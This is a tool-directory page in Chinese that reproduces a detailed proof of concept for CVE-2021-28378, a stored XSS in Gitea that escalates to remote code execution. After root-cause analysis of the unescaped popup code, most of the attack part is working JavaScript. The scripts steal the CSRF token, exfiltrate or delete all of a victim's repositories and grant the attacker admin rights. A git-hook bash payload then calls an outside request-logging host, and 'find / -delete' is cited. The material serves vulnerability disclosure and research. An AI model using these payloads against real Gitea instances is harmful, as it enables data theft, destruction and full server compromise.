Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/pandatix/cve-2021-28378
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubpandatix/cve-2021-28378

CVE-2021-28378

CVE-2021-28378 的详细概念验证与分析,这是 Gitea 中的一个存储型 XSS 漏洞,可通过 git hooks 实现任意代码注入、权限提升和远程代码执行。

查看仓库
438个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-28378

有关此 CVE 的详细信息见此处。

此 CVE 针对的是从服务器获取的内容在客户端缺少字符串转义的问题。 它使攻击者能够通过在 issue 或拉取请求上创建评论,轻松注入任意代码。 该问题是在提交 7d7ab1eeae43d99fe329878ac9c8db5e45e2dee5 中引入的,时间大约是 2020 年 1 月底,但由于是一次 squash 合并,我们无法准确知道是谁引入了该问题,从而无法调查是否还引入了类似的 bug。

首先,让我们了解这个漏洞的来源。为此,请看修复此 CVE 的提交。

修复前:

  • 第一个:
root@kitploit:~
    labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
  • 第二个:
root@kitploit:~
    html: `
<div>
    <p><small>${issue.repository.full_name} on ${createdAt}</small></p>
    <p><span class="${color}">${svg(octicon)}</span> <strong>${issue.title}</strong> #${index}</p>
    <p>${body}</p>
    ${labels}
</div>
`

我们可以看到,label.name、issue.repository.full_name、issue.title 和 body 都没有进行 HTML 转义,而这些字符串是用户可以操纵的,因此可以注入任意代码。 注意,issue.repository.full_name 实际上很难被操纵以注入代码,因为它必须遵守太多规则([\w._-]+),我们无法借助此 CVE 绕过。 这正是该 PR 通过将它们转换为 htmlEscape 来修复的内容。

修复后:

  • 第一个:
root@kitploit:~
    labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${htmlEscape(label.name)}</div>`;
  • 第二个:
root@kitploit:~
    html: `
<div>
    <p><small>${htmlEscape(issue.repository.full_name)} on ${createdAt}</small></p>
    <p><span class="${color}">${svg(octicon)}</span> <strong>${htmlEscape(issue.title)}</strong> #${index}</p>
    <p>${htmlEscape(body)}</p>
    ${labels}
</div>
`

理解漏洞

让我们快速看一下文件 web_src/js/features/contextpopup.js,弄清楚如何触发此 CVE。

root@kitploit:~
...
const {AppSubUrl} = window.config;

export default function initContextPopups() {
  const refIssues = $('.ref-issue');
  if (!refIssues.length) return;

  refIssues.each(function () {
    const [index, _issues, repo, owner] = $(this).attr('href').replace(/[#?].*$/, '').split('/').reverse();
    issuePopup(owner, repo, index, $(this));
  });
}

function issuePopup(owner, repo, index, $element) {
  $.get(`${AppSubUrl}/api/v1/repos/${owner}/${repo}/issues/${index}`, (issue) => {
...
    for (let i = 0; i < issue.labels.length; i++) {
...
      labels += `<div class="ui label" style="color: ${color}; background-color:#${label.color};">${label.name}</div>`;
    }
...

    $element.popup({
      variation: 'wide',
      delay: {
        show: 250
      },
      html: `
<div>
  <p><small>${issue.repository.full_name} on ${createdAt}</small></p>
  <p><span class="${color}">${svg(octicon, 16)}</span> <strong>${issue.title}</strong> #${index}</p>
  <p>${body}</p>
  ${labels}
</div>
`
    });
  });
}

我们在这里看到的是,对于每个带有 ref-issue 类的节点,都会添加一个存在漏洞的弹出框。 现在,我们需要找到 ref-issue 在何处被发送给用户:让我们 grep 一下(只保留有意义的结果,排除测试文件或类似文件)! 下面的提交号对应于 1.12.4 标签,即官方 docker-compose.yml 文件中的默认版本,该版本受此 CVE 影响。

root@kitploit:~
cd gitea
git checkout 8a51c48eb6367513e0518bcd412e64f6cbfe5e1a
grep -r ref-issue

modules/markup/html.go:		replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))
modules/markup/html.go:		replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
modules/markup/html.go:		link = createLink(com.Expand(ctx.metas["format"], ctx.metas), reftext, "ref-issue")
modules/markup/html.go:			link = createLink(util.URLJoin(setting.AppURL, ctx.metas["user"], ctx.metas["repo"], path, ref.Issue), reftext, "ref-issue")
modules/markup/html.go:			link = createLink(util.URLJoin(setting.AppURL, ref.Owner, ref.Name, path, ref.Issue), reftext, "ref-issue")
modules/markup/sanitizer.go:	sanitizer.policy.AllowAttrs("class").Matching(regexp.MustCompile(`ref-issue`)).OnElements("a")

我们现在知道没有带 ref-issue 类的静态内容,它是动态生成的。 最后一行并不有趣,因为它只是一个消毒策略规则。其他几行很有趣,我们来看看为什么。

让我们深入 modules/markup/html.go。

root@kitploit:~
func fullIssuePatternProcessor(ctx *postProcessCtx, node *html.Node) {
	if ctx.metas == nil {
		return
	}
	m := getIssueFullPattern().FindStringSubmatchIndex(node.Data)
	if m == nil {
		return
	}
	link := node.Data[m[0]:m[1]]
	id := "#" + node.Data[m[2]:m[3]]

	// extract repo and org name from matched link like
	// http://localhost:3000/gituser/myrepo/issues/1
	linkParts := strings.Split(path.Clean(link), "/")
	matchOrg := linkParts[len(linkParts)-4]
	matchRepo := linkParts[len(linkParts)-3]

	if matchOrg == ctx.metas["user"] && matchRepo == ctx.metas["repo"] {
		// TODO if m[4]:m[5] is not nil, then link is to a comment,
		// and we should indicate that in the text somehow
		replaceContent(node, m[0], m[1], createLink(link, id, "ref-issue"))

	} else {
		orgRepoID := matchOrg + "/" + matchRepo + id
		replaceContent(node, m[0], m[1], createLink(link, orgRepoID, "ref-issue"))
	}
}

我们还需要理解 getIssueFullPattern 做了什么。

root@kitploit:~
func getIssueFullPattern() *regexp.Regexp {
	if issueFullPattern == nil {
		appURL := setting.AppURL
		if len(appURL) > 0 && appURL[len(appURL)-1] != '/' {
			appURL += "/"
		}
		issueFullPattern = regexp.MustCompile(appURL +
			`\w+/\w+/(?:issues|pulls)/((?:\w{1,10}-)?[1-9][0-9]*)([\?|#]\S+.(\S+)?)?\b`)
	}
	return issueFullPattern
}

让我们总结一下,理解这里做了哪些工作。

在 fullIssuePatternProcessor 中,首先需要确保 ctx.metas 不是 nil(我们假设它是非 nil 的,因为它是由调用栈中更高级的函数/方法构建的)。 然后我们检查节点数据是否匹配类似于 http://mygitea.com/gituser/myrepo/issues/1 的路径。如果匹配,我们就将其替换为一个链接。 如果该链接指向相同的用户和仓库,则替换为 #<issue_id> 模式,否则替换为 <user>/<repo>#<issue_id>。 在这两种情况下,都会添加 ref-issue 类来生成弹出框。

其他 grep 结果也做了类似的事情。

开始动手!

现在我们有了上下文,即把类似 http://mygitea.com/gituser/myrepo/issues/1 的链接替换为更短的链接,就可以推断出这种替换发生在哪里:在 issue 和 PR 中,你可以在那里添加标签和/或发表评论。

为此,假设你有一个具有写权限的仓库。

标签

转到你的仓库,创建一个名称中包含任意代码的新标签(例如 <script>alert('label.name')</script>)。

Issue

转到你的仓库的 issues,创建一个标题和正文中包含任意代码的新 issue,并给它添加上述标签。

执行一些代码

在任何仓库上创建一个新 issue,并在其正文中添加指向你注入的 issue 的链接,例如 http://mygitea.com/gituser/myrepo/issues/1。 它会被替换为我们之前看到的链接,当有人将鼠标悬停在该链接上时,任意代码就会运行:会显示一个嵌入 label.name 的弹出框。

利用时间

CVE-2021-28378 已被证明能够实现任意代码注入。 让我们想象一下攻击者可以做什么。

在 Gitea 上,有一个 CSRF token,它在填写表单和/或调用 API 时验证你的身份,防止诸如嵌入 Gitea iframe 来窃取你的访问权限之类的安全问题。 CSRF token 存储在你的 cookie(_csrf)中,但也存储在用户访问的几乎所有网页(除了诸如 /api/v1/swagger 等少数页面)的某些字段中……包括 issue/PR 网页。 其中包含它的最有趣的字段位于 HTML 页面的公共头部区域中,XPath 始终相同:/html/head/meta[9]。

有了这些数据,我们就可以通过简单地用 JS 获取 CSRF token(代码如下),从任何受我们 payload 影响的用户发送经过身份验证的操作:(document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content。

现在,是时候发挥你的创造力来构建各种攻击了。 请注意,你的操作会受到限制,但也不会太多:

  • label.name 和 issue.title 必须很短,因此容纳不了太多 payload。不过,你可以注入带有 src 属性的 script,引用任何你想要的脚本;
  • body 的长度不受限制,但弹出框的预览限制了数据预览。如果你希望 payload 被触发,它必须位于开头。不过,你也可以像前面提到的那样使用带有 src 属性的 script。

让我们看看你可以构建的一些示例。

获取用户的所有仓库

想象一下这样的场景:攻击者想要获取你有权访问的所有仓库。这证明该攻击可以破坏你的全部机密性。 此攻击分 3 步完成:

  • 窃取 CSRF token;
  • 获取仓库列表;
  • 创建一个包含上一步原始 JSON 内容的新工单。

让我们编写一些 JS 代码来实现:

root@kitploit:~
var AppURL = "http://mygitea.com";
var HackerRepo = "/hacker/mysaferepo"

var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;

var xhrGet = new XMLHttpRequest();
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
    if (xhrGet.readyState === XMLHttpRequest.DONE) {
        var xhrPost = new XMLHttpRequest();
        xhrPost.open("POST", AppURL + HackerRepo + "/issues/new", true);
        xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xhrPost.send("_csrf=" + CSRF + "&title=Title&content=" + xhrGet.responseText);
    }
}
xhrGet.send(null);

将此 payload 放在单独的文件中,上传到你的仓库,并通过类似 <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script> 的方式将其注入 issue 正文中。

现在,攻击者可以评论引用此注入 issue 的 issue/PR,当有人将鼠标悬停在该链接上时,他的所有仓库数据就会被攻击者窃取!

删除用户有权访问的所有仓库

想象一下这样的场景:攻击者想要删除你有权访问的所有仓库。这证明该攻击可以破坏你的全部完整性。 此攻击分 3 步完成:

  • 窃取 CSRF token;
  • 获取仓库列表;
  • 对每个仓库执行删除操作(至少尝试)。

让我们编写一些 JS 代码来实现:

root@kitploit:~
var AppURL = "http://mygitea.com";

var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;

var xhrGet = new XMLHttpRequest();
xhrGet.responseType = "json";
xhrGet.open("GET", AppURL + "/api/v1/repos/search", true);
xhrGet.onload = function() {
    if (xhrGet.readyState === XMLHttpRequest.DONE) {
        data = xhrGet.response.data;
        data.forEach(repo => {
            var xhrPost = new XMLHttpRequest();
            xhrPost.open("POST", repo.html_url + "/settings", true);
            xhrPost.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xhrPost.send("_csrf=" + CSRF + "&action=delete&repo_name=" + repo.name)
        });
    }
}
xhrGet.send(null);

将此 payload 放在单独的文件中,上传到你的仓库,并通过类似 <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script> 的方式将其注入 issue 正文中。

现在,攻击者可以评论引用此注入 issue 的 issue/PR,当有人将鼠标悬停在该引用上时,他有权访问的所有仓库都会被删除!

获取管理员权限

想象一下这样的场景:攻击者想要获取管理员权限。这证明权限提升是可能的。 此攻击分 2 步完成:

  • 窃取 CSRF token;
  • 授予攻击者管理员权限(至少尝试)。

让我们编写一些 JS 代码来实现:

root@kitploit:~
var AppURL = "http://mygitea.com";
var HackerID = "1";
var HackerEmail = "[email protected]";

var CSRF = (document.evaluate("/html/head/meta[9]", document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue).content;

var xhr = new XMLHttpRequest();
xhr.open("POST", AppURL + "/admin/users/" + HackerID);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send("_csrf=" + CSRF + "&login_type=0-0&login_name=&full_name=&email=" + encodeURIComponent(HackerEmail) + "&password=&website=&location=&max_repo_creation=-1&active=on&admin=on&allow_git_hook=on&allow_create_organization=on");

注意,login_type 的值可能会根据你的 Gitea 版本以及你的实例处理登录的方式而变化。

将此 payload 放在单独的文件中,上传到你的仓库,并通过类似 <script src="http://mygitea.com/hacker/mysaferepo/raw/branch/master/exploit.js"></script> 的方式将其注入 issue 正文中。

现在,攻击者可以评论引用此注入 issue 的 issue/PR,当拥有足够权限的人将鼠标悬停在该引用上时,攻击者就会被授予管理员权限!他还可以将 issue 指派给管理员,或者在一个管理员正在关注的仓库上创建 issue(这样管理员会收到通知),以增加成功的机会。

获取 RCE

Gitea 最“有趣”的地方在于,通过实现 git hooks,安全考虑并未被纳入流程。这可能是你能实现的最糟糕的想法之一。

一旦你拥有管理员权限,你就可以授予自己管理 git hooks 的权限(通过前面的 payload 即可实现)。按照 Gitea Git Hooks Remote Code Execution Metasploit 模块 的方式操作:

  • 将你的 bash payload 添加到 post-receive git-hook 中;
  • 提交并推送一些内容,即使是空提交也可以;
  • 检查 payload 的效果。

为了确认此 RCE 有效,让我们放入以下内容,并带上有效的 id。

root@kitploit:~
#!/bin/bash

curl https://requestbin.net/r/<id>

在 RequestBin 的检查面板中,在我们提交一个触发 post-receive git hook 的文件后,我们看到一个请求已经完成,其 User-Agent: curl/<version> 证明这是一个有效的 RCE。

请注意,这个功能意味着,对于任何能被管理员触发的 XSS,只要 _csrf 值几乎嵌入在所有网页中,你就能在 Gitea 上获得 RCE。

如何防范

根据 CVE 受影响版本进行更新(请参阅官方报告)。在撰写本文时:1.12.0 到 1.13.4(不含)。

注释

以下是受影响版本列表及其测试状态。注意,对于 1.13.X 版本,你必须在 app.ini 文件的 [security] 部分中添加 DISABLE_GIT_HOOKS = false,该文件可能位于 data/gitea/conf/app.ini,具体取决于你的数据文件夹位置(对于 DockerHub 上文档化的 docker-compose.yml 文件,它会在同一文件夹中)。

✅:已验证有效;❓:需要测试;❌:已验证无效

此表旨在引导读者进行评分计算:它仅用于讨论评分,不应作为指令。

向量字符串:CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C

指标组名称分数详细描述
基础分数9.0严重
时间分数8.6高
下载工具
版本XSSRCE
1.12.0✅✅
1.12.1✅✅
1.12.2✅✅
1.12.3✅✅
1.12.4✅✅
1.12.5✅✅
1.12.6✅✅
1.13.0✅✅
1.13.1✅✅
1.13.2✅✅
1.13.3✅✅
指标值说明
AVNetwork使用 HTTP 进行交互。
ACLow只需要一个 issue(默认情况下,在 Gitea 上提交 issue 非常容易,因为对所有人都开放)或一个拉取请求。
PRLow在大多数情况下,需要一个账户来创建 issue(默认情况下,你可以注册新账户)。所有账户都可以在只读仓库上创建 issue,除非该仓库被配置为禁止 issue(这不是默认设置,而且很少被修改)。
UIRequired用户或管理员必须将鼠标悬停在受感染的链接上才能触发 payload。
SChanged通过 RCE,你可以访问主机以及同一主机上的其他服务。
CHigh一旦获得管理员权限,即使资源被配置为私有,你也可以管理一切。你能够窃取数据库凭据,利用 RCE 连接到数据库并提取数据。借助 RCE,你可以直接读取文件系统,而 Gitea 不会对其进行任何身份验证/授权检查。
IHigh一旦获得管理员权限,你可以修改权限、可见性、更改仓库代码,甚至删除仓库。借助 RCE,你可以自由地深入到一切事物中,从而影响用户、文件等的完整性。
AHigh借助 RCE,你可以简单地用 find / -delete 删除整个文件系统,导致可用性完全丧失。
EHigh借助 python 脚本 exploit.py,你可以轻松利用该漏洞,从一个普通账户一路提升到 root 反向 shell。
RLOfficial Fix由提交 <1e3c3388fb82235d9f3d63a0bad62ca3ff4682ab> 修复,该提交已合并到 master 并进入 Gitea 1.13.4。
RCConfirmed本报告确认并展示了多种利用方式,从 XSS 根源分析到 RCE 示例和脚本。